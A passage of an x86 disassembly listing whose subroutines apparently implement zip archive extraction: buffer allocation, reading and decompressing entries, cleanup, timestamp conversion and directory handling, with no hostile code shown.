; ---------------------------------------------------------------------------
loc_40F738: ; CODE XREF: sub_40F6B0+7Cj
push 4000h
call dword_4131C8 ; malloc
add esp, 4
mov edx, [ebp+var_8]
mov [edx], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+var_1C]
mov [eax+44h], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+var_10]
mov [edx+48h], eax
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4Ch], 0
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jnz short loc_40F78C
cmp [ebp+var_8], 0
jz short loc_40F782
mov eax, [ebp+var_8]
push eax
call dword_4131D4 ; free
add esp, 4
loc_40F782: ; CODE XREF: sub_40F6B0+C3j
mov eax, 0FFFFFF98h
jmp loc_40F86E
; ---------------------------------------------------------------------------
loc_40F78C: ; CODE XREF: sub_40F6B0+BDj
mov ecx, [ebp+var_8]
mov dword ptr [ecx+40h], 0
mov ecx, [ebp+var_C]
xor edx, edx
cmp dword ptr [ecx+34h], 0
setz dl
mov [ebp+var_14], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ecx+3Ch]
mov [eax+54h], edx
mov eax, [ebp+var_8]
mov dword ptr [eax+50h], 0
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [edx+34h]
mov [ecx+64h], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [edx]
mov [ecx+60h], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
mov [ecx+68h], eax
mov ecx, [ebp+var_8]
mov dword ptr [ecx+18h], 0
cmp [ebp+var_14], 0
jnz short loc_40F82E
mov edx, [ebp+var_8]
mov dword ptr [edx+24h], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+28h], 0
mov ecx, [ebp+var_8]
mov dword ptr [ecx+2Ch], 0
mov edx, [ebp+var_8]
add edx, 4
push edx
call sub_40DAB5
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40F82E
mov eax, [ebp+var_8]
mov dword ptr [eax+40h], 1
loc_40F82E: ; CODE XREF: sub_40F6B0+13Cj
; sub_40F6B0+172j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [edx+40h]
mov [ecx+58h], eax
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
mov eax, [edx+44h]
mov [ecx+5Ch], eax
mov ecx, [ebp+var_C]
mov edx, [ecx+78h]
mov eax, [ebp+var_18]
lea ecx, [edx+eax+1Eh]
mov edx, [ebp+var_8]
mov [edx+3Ch], ecx
mov eax, [ebp+var_8]
mov dword ptr [eax+8], 0
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
mov [ecx+7Ch], edx
xor eax, eax
loc_40F86E: ; CODE XREF: sub_40F6B0+11j
; sub_40F6B0+2Aj ...
mov esp, ebp
pop ebp
retn
sub_40F6B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F872 proc near ; CODE XREF: sub_4107B2+103p
; sub_4107B2+3FCp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
push esi
mov [ebp+var_4], 0
mov [ebp+var_10], 0
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_40F89D
mov eax, 0FFFFFF9Ah
jmp loc_40FB64
; ---------------------------------------------------------------------------
loc_40F89D: ; CODE XREF: sub_40F872+1Fj
mov ecx, [ebp+var_C]
mov edx, [ecx+7Ch]
mov [ebp+var_8], edx
cmp [ebp+var_8], 0
jnz short loc_40F8B6
mov eax, 0FFFFFF9Ah
jmp loc_40FB64
; ---------------------------------------------------------------------------
loc_40F8B6: ; CODE XREF: sub_40F872+38j
mov eax, [ebp+var_8]
cmp dword ptr [eax], 0
jnz short loc_40F8C8
mov eax, 0FFFFFF9Ch
jmp loc_40FB64
; ---------------------------------------------------------------------------
loc_40F8C8: ; CODE XREF: sub_40F872+4Aj
cmp [ebp+arg_8], 0
jnz short loc_40F8D5
xor eax, eax
jmp loc_40FB64
; ---------------------------------------------------------------------------
loc_40F8D5: ; CODE XREF: sub_40F872+5Aj
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_4]
mov [ecx+10h], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_8]
mov [eax+14h], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+arg_8]
cmp eax, [edx+5Ch]
jbe short loc_40F8FE
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [edx+5Ch]
mov [ecx+14h], eax
loc_40F8FE: ; CODE XREF: sub_40F872+7Ej
; sub_40F872:loc_40FB51j
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 0
jbe loc_40FB56
mov edx, [ebp+var_8]
cmp dword ptr [edx+8], 0
jnz loc_40F9D1
mov eax, [ebp+var_8]
cmp dword ptr [eax+58h], 0
jbe loc_40F9D1
mov [ebp+var_14], 4000h
mov ecx, [ebp+var_8]
mov edx, [ecx+58h]
cmp edx, [ebp+var_14]
jnb short loc_40F940
mov eax, [ebp+var_8]
mov ecx, [eax+58h]
mov [ebp+var_14], ecx
loc_40F940: ; CODE XREF: sub_40F872+C3j
cmp [ebp+var_14], 0
jnz short loc_40F94D
xor eax, eax
jmp loc_40FB64
; ---------------------------------------------------------------------------
loc_40F94D: ; CODE XREF: sub_40F872+D2j
push 0
mov edx, [ebp+var_8]
mov eax, [edx+3Ch]
mov ecx, [ebp+var_8]
add eax, [ecx+68h]
push eax
mov edx, [ebp+var_8]
mov eax, [edx+60h]
push eax
call sub_40E53B
add esp, 0Ch
test eax, eax
jz short loc_40F977
or eax, 0FFFFFFFFh
jmp loc_40FB64
; ---------------------------------------------------------------------------
loc_40F977: ; CODE XREF: sub_40F872+FBj
mov ecx, [ebp+var_8]
mov edx, [ecx+60h]
push edx
push 1
mov eax, [ebp+var_14]
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx]
push edx
call sub_40E610
add esp, 10h
cmp eax, 1
jz short loc_40F99F
or eax, 0FFFFFFFFh
jmp loc_40FB64
; ---------------------------------------------------------------------------
loc_40F99F: ; CODE XREF: sub_40F872+123j
mov eax, [ebp+var_8]
mov ecx, [eax+3Ch]
add ecx, [ebp+var_14]
mov edx, [ebp+var_8]
mov [edx+3Ch], ecx
mov eax, [ebp+var_8]
mov ecx, [eax+58h]
sub ecx, [ebp+var_14]
mov edx, [ebp+var_8]
mov [edx+58h], ecx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [ecx]
mov [eax+4], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_14]
mov [eax+8], ecx
loc_40F9D1: ; CODE XREF: sub_40F872+A0j
; sub_40F872+ADj
mov edx, [ebp+var_8]
cmp dword ptr [edx+64h], 0
jnz loc_40FABC
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [eax+14h]
cmp edx, [ecx+8]
jnb short loc_40F9F7
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
mov [ebp+var_18], ecx
jmp short loc_40FA00
; ---------------------------------------------------------------------------
loc_40F9F7: ; CODE XREF: sub_40F872+178j
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov [ebp+var_18], eax
loc_40FA00: ; CODE XREF: sub_40F872+183j
mov [ebp+var_1C], 0
jmp short loc_40FA12
; ---------------------------------------------------------------------------
loc_40FA09: ; CODE XREF: sub_40F872+1C0j
mov ecx, [ebp+var_1C]
add ecx, 1
mov [ebp+var_1C], ecx
loc_40FA12: ; CODE XREF: sub_40F872+195j
mov edx, [ebp+var_1C]
cmp edx, [ebp+var_18]
jnb short loc_40FA34
mov eax, [ebp+var_8]
mov ecx, [eax+4]
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov edx, [ebp+var_1C]
mov esi, [ebp+var_1C]
mov cl, [ecx+esi]
mov [eax+edx], cl
jmp short loc_40FA09
; ---------------------------------------------------------------------------
loc_40FA34: ; CODE XREF: sub_40F872+1A6j
mov edx, [ebp+var_18]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+50h]
push eax
call sub_40D535
add esp, 0Ch
mov ecx, [ebp+var_8]
mov [ecx+50h], eax
mov edx, [ebp+var_8]
mov eax, [edx+5Ch]
sub eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+5Ch], eax
mov edx, [ebp+var_8]
mov eax, [edx+8]
sub eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+8], eax
mov edx, [ebp+var_8]
mov eax, [edx+14h]
sub eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+14h], eax
mov edx, [ebp+var_8]
mov eax, [edx+10h]
add eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+10h], eax
mov edx, [ebp+var_8]
mov eax, [edx+4]
add eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+4], eax
mov edx, [ebp+var_8]
mov eax, [edx+18h]
add eax, [ebp+var_18]
mov ecx, [ebp+var_8]
mov [ecx+18h], eax
mov edx, [ebp+var_10]
add edx, [ebp+var_18]
mov [ebp+var_10], edx
jmp loc_40FB51
; ---------------------------------------------------------------------------
loc_40FABC: ; CODE XREF: sub_40F872+166j
mov [ebp+var_30], 2
mov eax, [ebp+var_8]
mov ecx, [eax+18h]
mov [ebp+var_28], ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_8]
add edx, 4
push edx
call sub_40DC35
add esp, 8
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov ecx, [eax+18h]
mov [ebp+var_20], ecx
mov edx, [ebp+var_20]
sub edx, [ebp+var_28]
mov [ebp+var_24], edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_2C]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+50h]
push eax
call sub_40D535
add esp, 0Ch
mov ecx, [ebp+var_8]
mov [ecx+50h], eax
mov edx, [ebp+var_8]
mov eax, [edx+5Ch]
sub eax, [ebp+var_24]
mov ecx, [ebp+var_8]
mov [ecx+5Ch], eax
mov edx, [ebp+var_20]
sub edx, [ebp+var_28]
mov eax, [ebp+var_10]
add eax, edx
mov [ebp+var_10], eax
cmp [ebp+var_4], 1
jnz short loc_40FB49
mov eax, [ebp+var_10]
neg eax
sbb eax, eax
and eax, [ebp+var_10]
jmp short loc_40FB64
; ---------------------------------------------------------------------------
loc_40FB49: ; CODE XREF: sub_40F872+2C9j
cmp [ebp+var_4], 0
jz short loc_40FB51
jmp short loc_40FB56
; ---------------------------------------------------------------------------
loc_40FB51: ; CODE XREF: sub_40F872+245j
; sub_40F872+2DBj
jmp loc_40F8FE
; ---------------------------------------------------------------------------
loc_40FB56: ; CODE XREF: sub_40F872+93j
; sub_40F872+2DDj
cmp [ebp+var_4], 0
jnz short loc_40FB61
mov eax, [ebp+var_10]
jmp short loc_40FB64
; ---------------------------------------------------------------------------
loc_40FB61: ; CODE XREF: sub_40F872+2E8j
mov eax, [ebp+var_4]
loc_40FB64: ; CODE XREF: sub_40F872+26j
; sub_40F872+3Fj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_40F872 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
cmp dword ptr [ebp+8], 0
jnz short loc_40FB7C
mov eax, 0FFFFFF9Ah
jmp short loc_40FB9E
; ---------------------------------------------------------------------------
loc_40FB7C: ; CODE XREF: HSho:0040FB73j
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp-8]
mov edx, [ecx+7Ch]
mov [ebp-4], edx
cmp dword ptr [ebp-4], 0
jnz short loc_40FB98
mov eax, 0FFFFFF9Ah
jmp short loc_40FB9E
; ---------------------------------------------------------------------------
loc_40FB98: ; CODE XREF: HSho:0040FB8Fj
mov eax, [ebp-4]
mov eax, [eax+18h]
loc_40FB9E: ; CODE XREF: HSho:0040FB7Aj
; HSho:0040FB96j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
cmp dword ptr [ebp+8], 0
jnz short loc_40FBB5
mov eax, 0FFFFFF9Ah
jmp short loc_40FBE3
; ---------------------------------------------------------------------------
loc_40FBB5: ; CODE XREF: HSho:0040FBACj
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp-8]
mov edx, [ecx+7Ch]
mov [ebp-4], edx
cmp dword ptr [ebp-4], 0
jnz short loc_40FBD1
mov eax, 0FFFFFF9Ah
jmp short loc_40FBE3
; ---------------------------------------------------------------------------
loc_40FBD1: ; CODE XREF: HSho:0040FBC8j
mov eax, [ebp-4]
cmp dword ptr [eax+5Ch], 0
jnz short loc_40FBE1
mov eax, 1
jmp short loc_40FBE3
; ---------------------------------------------------------------------------
loc_40FBE1: ; CODE XREF: HSho:0040FBD8j
xor eax, eax
loc_40FBE3: ; CODE XREF: HSho:0040FBB3j
; HSho:0040FBCFj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
cmp dword ptr [ebp+8], 0
jnz short loc_40FBFD
mov eax, 0FFFFFF9Ah
jmp loc_40FCA3
; ---------------------------------------------------------------------------
loc_40FBFD: ; CODE XREF: HSho:0040FBF1j
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp-8]
mov edx, [ecx+7Ch]
mov [ebp-4], edx
cmp dword ptr [ebp-4], 0
jnz short loc_40FC1C
mov eax, 0FFFFFF9Ah
jmp loc_40FCA3
; ---------------------------------------------------------------------------
loc_40FC1C: ; CODE XREF: HSho:0040FC10j
mov eax, [ebp-4]
mov ecx, [ebp-4]
mov edx, [eax+48h]
sub edx, [ecx+4Ch]
mov [ebp-0Ch], edx
cmp dword ptr [ebp+0Ch], 0
jnz short loc_40FC36
mov eax, [ebp-0Ch]
jmp short loc_40FCA3
; ---------------------------------------------------------------------------
loc_40FC36: ; CODE XREF: HSho:0040FC2Fj
mov eax, [ebp+10h]
cmp eax, [ebp-0Ch]
jbe short loc_40FC46
mov ecx, [ebp-0Ch]
mov [ebp-10h], ecx
jmp short loc_40FC4C
; ---------------------------------------------------------------------------
loc_40FC46: ; CODE XREF: HSho:0040FC3Cj
mov edx, [ebp+10h]
mov [ebp-10h], edx
loc_40FC4C: ; CODE XREF: HSho:0040FC44j
cmp dword ptr [ebp-10h], 0
jnz short loc_40FC56
xor eax, eax
jmp short loc_40FCA3
; ---------------------------------------------------------------------------
loc_40FC56: ; CODE XREF: HSho:0040FC50j
push 0
mov eax, [ebp-4]
mov ecx, [eax+44h]
mov edx, [ebp-4]
add ecx, [edx+4Ch]
push ecx
mov eax, [ebp-4]
mov ecx, [eax+60h]
push ecx
call sub_40E53B
add esp, 0Ch
test eax, eax
jz short loc_40FC7D
or eax, 0FFFFFFFFh
jmp short loc_40FCA3
; ---------------------------------------------------------------------------
loc_40FC7D: ; CODE XREF: HSho:0040FC76j
mov edx, [ebp-4]
mov eax, [edx+60h]
push eax
push 1
mov ecx, [ebp-0Ch]
push ecx
mov edx, [ebp+0Ch]
push edx
call sub_40E610
add esp, 10h
cmp eax, 1
jz short loc_40FCA0
or eax, 0FFFFFFFFh
jmp short loc_40FCA3
; ---------------------------------------------------------------------------
loc_40FCA0: ; CODE XREF: HSho:0040FC99j
mov eax, [ebp-10h]
loc_40FCA3: ; CODE XREF: HSho:0040FBF8j
; HSho:0040FC17j ...
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FCA7 proc near ; CODE XREF: sub_40ECA8+24p
; sub_40F6B0+3Cp ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_4], 0
cmp [ebp+arg_0], 0
jnz short loc_40FCC4
mov eax, 0FFFFFF9Ah
jmp loc_40FD72
; ---------------------------------------------------------------------------
loc_40FCC4: ; CODE XREF: sub_40FCA7+11j
mov eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov edx, [ecx+7Ch]
mov [ebp+var_8], edx
cmp [ebp+var_8], 0
jnz short loc_40FCE3
mov eax, 0FFFFFF9Ah
jmp loc_40FD72
; ---------------------------------------------------------------------------
loc_40FCE3: ; CODE XREF: sub_40FCA7+30j
mov eax, [ebp+var_8]
cmp dword ptr [eax+5Ch], 0
jnz short loc_40FD01
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [ecx+50h]
cmp eax, [edx+54h]
jz short loc_40FD01
mov [ebp+var_4], 0FFFFFF97h
loc_40FD01: ; CODE XREF: sub_40FCA7+43j
; sub_40FCA7+51j
mov ecx, [ebp+var_8]
cmp dword ptr [ecx], 0
jz short loc_40FD27
mov edx, [ebp+var_8]
mov eax, [edx]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
call dword_4131D4 ; free
add esp, 4
mov edx, [ebp+var_8]
mov dword ptr [edx], 0
loc_40FD27: ; CODE XREF: sub_40FCA7+60j
mov eax, [ebp+var_8]
mov dword ptr [eax], 0
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+40h], 0
jz short loc_40FD48
mov edx, [ebp+var_8]
add edx, 4
push edx
call sub_40DA4C
add esp, 4
loc_40FD48: ; CODE XREF: sub_40FCA7+90j
mov eax, [ebp+var_8]
mov dword ptr [eax+40h], 0
cmp [ebp+var_8], 0
jz short loc_40FD65
mov ecx, [ebp+var_8]
push ecx
call dword_4131D4 ; free
add esp, 4
loc_40FD65: ; CODE XREF: sub_40FCA7+AFj
mov edx, [ebp+var_C]
mov dword ptr [edx+7Ch], 0
mov eax, [ebp+var_4]
loc_40FD72: ; CODE XREF: sub_40FCA7+18j
; sub_40FCA7+37j
mov esp, ebp
pop ebp
retn
sub_40FCA7 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
cmp dword ptr [ebp+8], 0
jnz short loc_40FD8C
mov eax, 0FFFFFF9Ah
jmp loc_40FE1E
; ---------------------------------------------------------------------------
loc_40FD8C: ; CODE XREF: HSho:0040FD80j
mov eax, [ebp+8]
mov [ebp-4], eax
mov ecx, [ebp+10h]
mov [ebp-8], ecx
mov edx, [ebp-4]
mov eax, [ebp-8]
cmp eax, [edx+8]
jbe short loc_40FDAC
mov ecx, [ebp-4]
mov edx, [ecx+8]
mov [ebp-8], edx
loc_40FDAC: ; CODE XREF: HSho:0040FDA1j
push 0
mov eax, [ebp-4]
mov ecx, [eax+1Ch]
add ecx, 16h
push ecx
mov edx, [ebp-4]
mov eax, [edx]
push eax
call sub_40E53B
add esp, 0Ch
test eax, eax
jz short loc_40FDCF
or eax, 0FFFFFFFFh
jmp short loc_40FE1E
; ---------------------------------------------------------------------------
loc_40FDCF: ; CODE XREF: HSho:0040FDC8j
cmp dword ptr [ebp-8], 0
jbe short loc_40FDFD
mov ecx, [ebp+0Ch]
mov byte ptr [ecx], 0
mov edx, [ebp-4]
mov eax, [edx]
push eax
push 1
mov ecx, [ebp-8]
push ecx
mov edx, [ebp+0Ch]
push edx
call sub_40E610
add esp, 10h
cmp eax, 1
jz short loc_40FDFD
or eax, 0FFFFFFFFh
jmp short loc_40FE1E
; ---------------------------------------------------------------------------
loc_40FDFD: ; CODE XREF: HSho:0040FDD3j
; HSho:0040FDF6j
cmp dword ptr [ebp+0Ch], 0
jz short loc_40FE1B
mov eax, [ebp-4]
mov ecx, [ebp+10h]
cmp ecx, [eax+8]
jbe short loc_40FE1B
mov edx, [ebp-4]
mov eax, [edx+8]
mov ecx, [ebp+0Ch]
mov byte ptr [ecx+eax], 0
loc_40FE1B: ; CODE XREF: HSho:0040FE01j
; HSho:0040FE0Cj
mov eax, [ebp-8]
loc_40FE1E: ; CODE XREF: HSho:0040FD87j
; HSho:0040FDCDj ...
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FE22 proc near ; CODE XREF: sub_40FF4C+55Bp
; sub_40FF4C+5B8p ...
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_16 = word ptr -16h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
lea eax, [ebp+arg_0]
push eax
call dword_413210 ; gmtime
add esp, 4
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov edx, [ecx+14h]
add edx, 76Ch
mov [ebp+var_1C], dx
mov eax, [ebp+var_C]
mov ecx, [eax+10h]
add ecx, 1
mov [ebp+var_1A], cx
mov edx, [ebp+var_C]
mov ax, [edx+0Ch]
mov [ebp+var_16], ax
mov ecx, [ebp+var_C]
mov dx, [ecx+8]
mov [ebp+var_14], dx
mov eax, [ebp+var_C]
mov cx, [eax+4]
mov [ebp+var_12], cx
mov edx, [ebp+var_C]
mov ax, [edx]
mov [ebp+var_10], ax
mov [ebp+var_E], 0
lea ecx, [ebp+var_8]
push ecx
lea edx, [ebp+var_1C]
push edx
call dword_413094 ; SystemTimeToFileTime
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_40FE22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FE9E proc near ; CODE XREF: sub_410FDB+6Ep
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0
jnz short loc_40FEB8
mov ecx, [ebp+var_10]
cmp dword ptr [ecx+4], 0FFFFFFFFh
jz short loc_40FEC2
loc_40FEB8: ; CODE XREF: sub_40FE9E+Fj
mov eax, 1000000h
jmp loc_40FF46
; ---------------------------------------------------------------------------
loc_40FEC2: ; CODE XREF: sub_40FE9E+18j
mov edx, [ebp+var_10]
add edx, 138h
push edx
push 104h
call dword_41302C ; GetCurrentDirectoryA
push offset asc_41786C ; "\\"
mov eax, [ebp+var_10]
add eax, 138h
push eax
call sub_411640 ; strcat
add esp, 8
cmp [ebp+arg_8], 1
jnz short loc_40FF0D
mov ecx, [ebp+arg_0]
push ecx
call dword_4130A0 ; GetFileType
mov [ebp+var_C], eax
cmp [ebp+var_C], 1
jz short loc_40FF0D
mov eax, 2000000h
jmp short loc_40FF46
; ---------------------------------------------------------------------------
loc_40FF0D: ; CODE XREF: sub_40FE9E+53j
; sub_40FE9E+66j
lea edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_40E2F9
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_40FF33
mov eax, [ebp+var_4]
jmp short loc_40FF46
; ---------------------------------------------------------------------------
loc_40FF33: ; CODE XREF: sub_40FE9E+8Ej
mov eax, [ebp+var_8]
push eax
call sub_40EA92
add esp, 4
mov ecx, [ebp+var_10]
mov [ecx], eax
xor eax, eax
loc_40FF46: ; CODE XREF: sub_40FE9E+1Fj
; sub_40FE9E+6Dj ...
mov esp, ebp
pop ebp
retn 0Ch
sub_40FE9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FF4C proc near ; CODE XREF: sub_4105D7+B9p
; sub_4107B2+1F5p ...
var_1E8 = dword ptr -1E8h
var_1E4 = dword ptr -1E4h
var_1E0 = dword ptr -1E0h
var_1DC = dword ptr -1DCh
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1CC = dword ptr -1CCh
var_1C8 = dword ptr -1C8h
var_1C4 = dword ptr -1C4h
var_1C0 = dword ptr -1C0h
var_1BC = dword ptr -1BCh
var_1B8 = dword ptr -1B8h
var_1B4 = byte ptr -1B4h
var_1B3 = byte ptr -1B3h
var_1B2 = byte ptr -1B2h
var_1B0 = dword ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = dword ptr -1A8h
var_1A4 = dword ptr -1A4h
var_1A0 = dword ptr -1A0h
var_19C = dword ptr -19Ch
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_8C = byte ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = word ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = word ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_24 = dword ptr -24h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1E8h
mov [ebp+var_1E8], ecx
cmp [ebp+arg_0], 0FFFFFFFFh
jl short loc_40FF71
mov eax, [ebp+var_1E8]
mov ecx, [eax]
mov edx, [ebp+arg_0]
cmp edx, [ecx+4]
jl short loc_40FF7B
loc_40FF71: ; CODE XREF: sub_40FF4C+13j
mov eax, 10000h
jmp loc_4105D1
; ---------------------------------------------------------------------------
loc_40FF7B: ; CODE XREF: sub_40FF4C+23j
mov eax, [ebp+var_1E8]
cmp dword ptr [eax+4], 0FFFFFFFFh
jz short loc_40FF98
mov ecx, [ebp+var_1E8]
mov edx, [ecx]
push edx
call sub_40FCA7
add esp, 4
loc_40FF98: ; CODE XREF: sub_40FF4C+39j
mov eax, [ebp+var_1E8]
mov dword ptr [eax+4], 0FFFFFFFFh
mov ecx, [ebp+var_1E8]
mov edx, [ebp+arg_0]
cmp edx, [ecx+134h]
jnz short loc_40FFDE
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_40FFDE
push 12Ch
mov eax, [ebp+var_1E8]
add eax, 8
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_411634 ; memcpy
add esp, 0Ch
xor eax, eax
jmp loc_4105D1
; ---------------------------------------------------------------------------
loc_40FFDE: ; CODE XREF: sub_40FF4C+68j
; sub_40FF4C+6Ej
cmp [ebp+arg_0], 0FFFFFFFFh
jnz loc_41007B
mov edx, [ebp+var_1E8]
mov eax, [edx]
mov ecx, [ebp+arg_4]
mov edx, [eax+4]
mov [ecx], edx
mov eax, [ebp+arg_4]
mov byte ptr [eax+4], 0
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+108h], 0
mov edx, [ebp+arg_4]
mov dword ptr [edx+10Ch], 0
mov eax, [ebp+arg_4]
mov dword ptr [eax+110h], 0
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+114h], 0
mov edx, [ebp+arg_4]
mov dword ptr [edx+118h], 0
mov eax, [ebp+arg_4]
mov dword ptr [eax+11Ch], 0
mov ecx, [ebp+arg_4]
mov dword ptr [ecx+120h], 0
mov edx, [ebp+arg_4]
mov dword ptr [edx+124h], 0
mov eax, [ebp+arg_4]
mov dword ptr [eax+128h], 0
xor eax, eax
jmp loc_4105D1
; ---------------------------------------------------------------------------
loc_41007B: ; CODE XREF: sub_40FF4C+96j
mov ecx, [ebp+var_1E8]
mov edx, [ecx]
mov eax, [ebp+arg_0]
cmp eax, [edx+10h]
jge short loc_41009C
mov ecx, [ebp+var_1E8]
mov edx, [ecx]
push edx
call sub_40F1E3
add esp, 4
loc_41009C: ; CODE XREF: sub_40FF4C+13Dj
; sub_40FF4C+171j
mov eax, [ebp+var_1E8]
mov ecx, [eax]
mov edx, [ecx+10h]
cmp edx, [ebp+arg_0]
jge short loc_4100BF
mov eax, [ebp+var_1E8]
mov ecx, [eax]
push ecx
call sub_40F251
add esp, 4
jmp short loc_41009C
; ---------------------------------------------------------------------------
loc_4100BF: ; CODE XREF: sub_40FF4C+15Ej
push 0
push 0
push 0
push 0
push 104h
lea edx, [ebp+var_190]
push edx
lea eax, [ebp+var_58]
push eax
mov ecx, [ebp+var_1E8]
mov edx, [ecx]
push edx
call sub_40F1B4
add esp, 20h
lea eax, [ebp+var_64]
push eax
lea ecx, [ebp+var_78]
push ecx
lea edx, [ebp+var_8C]
push edx
mov eax, [ebp+var_1E8]
mov ecx, [eax]
push ecx
call sub_40F42B
add esp, 10h
mov [ebp+var_74], eax
cmp [ebp+var_74], 0
jz short loc_41011B
mov eax, 700h
jmp loc_4105D1
; ---------------------------------------------------------------------------
loc_41011B: ; CODE XREF: sub_40FF4C+1C3j
push 0
mov edx, [ebp+var_78]
push edx
mov eax, [ebp+var_1E8]
mov ecx, [eax]
mov edx, [ecx]
push edx
call sub_40E53B
add esp, 0Ch
test eax, eax
jz short loc_410142
mov eax, 800h
jmp loc_4105D1
; ---------------------------------------------------------------------------
loc_410142: ; CODE XREF: sub_40FF4C+1EAj
